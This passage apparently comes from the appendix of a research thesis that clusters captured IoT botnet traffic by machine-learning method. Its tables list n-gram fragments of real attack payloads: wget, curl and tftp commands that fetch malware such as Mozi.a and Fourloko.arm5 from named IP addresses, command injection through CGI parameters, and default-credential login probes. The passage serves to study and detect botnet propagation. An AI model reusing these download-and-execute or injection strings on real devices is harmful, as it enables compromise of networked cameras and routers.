http: URL Mozi.a chmod 777
tmp rm -rf * wget
wget URL 8088 Mozi.a chmod
chmod 777 Mozi.a tmp Mozi.a
777 Mozi.a tmp Mozi.a varcron
GET board.cgi cmd=cd tmp rm
HTTP 1.1 GET board.cgi cmd=cd
cgi-bin nobody
1.1 GET board.cgi cmd=cd tmp
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Cluster Attack

C4

HTTP 1.1 GET HNAP1 HTTP
1.1 GET HNAP1 HTTP 1.1
GET HNAP1 HTTP 1.1 POST
HNAP1 HTTP 1.1 POST editBlackAndWhiteList
POST editBlackAndWhiteList HTTP 1.1 GET
auth=YWRtaW46MTEK HTTP 1.1 GET onvif-http
snapshot auth=YWRtaW46MTEK HTTP 1.1 GET
onvif-http snapshot auth=YWRtaW46MTEK HTTP 1.1
PUT jmx-console checkJNDI.jsp HTTP 1.1
SDK webLanguage HTTP 1.1 GET

C5

HTTP 1.1 GET cgi-bin snapshot.cgi
GET get_params.cgi user=admin&pwd=aze1234 HTTP 1.1
1.1 GET cgi-bin snapshot.cgi chn=3&u=admin&p=&q=0
cgi-bin snapshot.cgi chn=3&u=admin&p=&q=0 HTTP 1.1
snapshot.cgi chn=3&u=admin&p=&q=0 HTTP 1.1 GET
gw.cgi xml=<juan ver="0" squ="abcdefg" dir="0"
usr="admin" pwd=""><network dhcp="" mac="" ip=""
1.0 GET cgi-bin gw.cgi xml=<juan
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Cluster Attack

C6

wget URL SW07E5F58DBA0A635 HTTP
GET shell wget URL
shell wget URL SW07E5F58DBA0A635
1.1 GET shell bin busybox
cd tmp wget URL armadk
tmp wget URL armadk chmod
nohup tftp -r arm7
chmod x armadk tmp armadk

Table 6.2: Clusters generated by k-means algorithm.

Attacks identified by GMM:

Cluster Attack

C1 CNXN\x01\x00\x00\x01\x00\x00\x10\x00q\x00\x00\x00fixed_push_mkdir,cmd
CNXN\x00\x00\x00\x01\x00\x10\x00\x00\
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Cluster Attack

C2

URL bins Fourloko.arm5 -O
tmp wget URL bins
GET cgi-bin nobody Search.cgi action=cgi_query&ip=google.com&port=80
HTTP 1.1 GET snapshot.cgi user=admin&pwd=password
1.1 GET snapshot.cgi user=admin&pwd=password HTTP
wget URL bins Fourloko.arm5
cgi-bin nobody Search.cgi action=cgi_query&ip=google.com&port=80
nobody Search.cgi action=cgi_query&ip=google.com&port=80
Search.cgi action=cgi_query&ip=google.com&port=80&queryb64st

C3

shell curl -O URL
GET shell curl -O http:
HTTP 1.1 GET shell echo
1.1 GET shell echo get
busybox tftp -r BT16B5F58DB97F1C3 -g
bin busybox tftp -r BT16B5F58DB97F1C3
tftp HTTP 1.1 GET shell
URL SC07E5F58DBA0A635 HTTP 1.1 GET
URL SC07E5F58DBA0A635 HTTP 1.1
get URL ST27E5F58DBA0A635 | tftp HTTP
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Cluster Attack

C4

GET shell cd tmp wget
HTTP 1.1 GET shell cd
1.1 GET shell cd tmp
tmp wget URL armadk chmod
http: URL Mozi.a chmod 777
cgi-bin snapshot.cgi chn=3&u=admin&p=&q=0 HTTP 1.1
wget URL armadk chmod x
chmod x armadk tmp armadk
777 tmp h4k4i.arm7 sh tmp
-O gg chmod 777 gg

C5

HTTP 1.1 \x15OpenTelnet:OpenOnce\x00
GET get_params.cgi user=admin&pwd=aze1234 HTTP 1.1
1.1 \x15OpenTelnet:OpenOnce\x00
snapshot.cgi user=admin&pwd=0721 HTTP 1.0 GET
1.0 GET snapshot.cgi user=admin&pwd=0722 HTTP
get_params.cgi user=admin&pwd=aze1234 HTTP 1.1 \x15OpenTelnet:OpenOnce\x00
CNXN\x00\x00\x00\x01\x00\x00\x04\x00\x1B\x00\x00\x
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Cluster Attack

C6

HTTP 1.1 POST editBlackAndWhiteList HTTP
1.1 POST editBlackAndWhiteList HTTP 1.1
GET HNAP1 HTTP 1.1 POST
HNAP1 HTTP 1.1 POST editBlackAndWhiteList
POST URL upnp control
auth=YWRtaW46MTEK HTTP 1.1 GET onvif-http
snapshot auth=YWRtaW46MTEK HTTP 1.1 GET
onvif-http snapshot auth=YWRtaW46MTEK HTTP 1.1
PUT jmx-console checkJNDI.jsp HTTP 1.1
SDK webLanguage HTTP 1.1 GET

Table 6.3: Clusters generated by GMM algorithm.
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Cluster Attack

C1

HTTP 1.1 GET shell echo
1.1 GET shell echo get
GET shell curl -O http:
shell curl -O http: 94.102.59.5
busybox tftp -r BT16B5F58DB97F1C3 -g
bin busybox tftp -r BT16B5F58DB97F1C3
tftp HTTP 1.1 GET shell
http: 94.102.59.5 SC07E5F58DBA0A635 HTTP 1.1
94.102.59.5 SC07E5F58DBA0A635 HTTP 1.1 GET
get 94.102.59.5:ST27E5F58DBA0A635 | tftp HTTP

C2 \xC0 \xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0 \x16\x03\x01
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Cluster Attack

C3

-O 73Fourloko.arm5 chmod 777 73Fourloko.arm5
http: 45.153.203.136 bins Fourloko.arm5 -O
chmod 777 73Fourloko.arm5 . 73Fourloko.arm5
777 73Fourloko.arm5 . 73Fourloko.arm5 avtech)&password=admin
wget http: 45.153.203.136 bins Fourloko.arm5
tmp wget http: 45.153.203.136 bins
GET cgi-bin nobody Search.cgi action=cgi_query&ip=google.com
HTTP 1.1 GET cgi-bin nobody
1.1 GET cgi-bin nobody Search.cgi
cgi-bin nobody Search.cgi action=cgi_query&ip=google.com&port=80

C4

-O 95.x sh 95.x rm
tmp wget http: 193.169.254.116 aht.sh
http: 193.169.254.116 aht.sh chmod 777
cgi-bin supervisor CloudSetup.cgi exefile=cd tmp
supervisor CloudSetup.cgi exefile=cd tmp wget
CloudSetup.cgi exefile=cd tmp wget http:
HTTP 1.1 GET cgi-bin supervisor
1.1 GET cgi-bin supervisor CloudSetup.cgi
GET cgi-bin supervisor CloudSetup.cgi exefile=cd
wget URL aht.sh chmod
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Cluster Attack

C5

HTTP 1.1 GET shell cd
1.1 GET shell cd tmp
GET shell cd tmp wget
tmp wget URL armadk chmod
cd tmp wget URL armadk
shell cd tmp wget URL
wget URL armadk chmod x
http: URL Mozi.a chmod 777
rm -rf * wget URL
chmod x armadk tmp armadk

C6

HTTP 1.1 GET web cgi-bin
1.1 GET web cgi-bin hi3510
cgi-bin vcs HTTP 1.1 GET
GET awcuser cgi-bin vcs HTTP
user Config.cgi action=get&category=Account.* HTTP 1.1
Config.cgi action=get&category=Account.* HTTP 1.1 GET
nobody VerifyCode.cgi account=QWRtaW46MTIzNA==&login=quick HTTP 1.1
param.cgi cmd=getp2pattr&cmd=getuserattr HTTP 1.1 GET
hi3510 param.cgi cmd=getp2pattr&cmd=getuserattr HTTP 1.1
arm7 &Network.FTP.Password=a&Network.FTP.Port=21

Table 6.4: Clusters generated by Birch algorithm.



Appendix B

This appendix presents the clusters of the main malware variants underpinning botnet prop-
agation in our analysis as resulted by applying PCA over our TF-IDF payload feature set.

Figure 6.2: Original payload feature set resulted resulted by applying PCA over
TF-IDF.
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Figure 6.3: Clusters produced K-means algorithm.

Figure 6.4: Clusters produced by GMM algorithm.
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Figure 6.5: Clusters produced by Birch algorithm.
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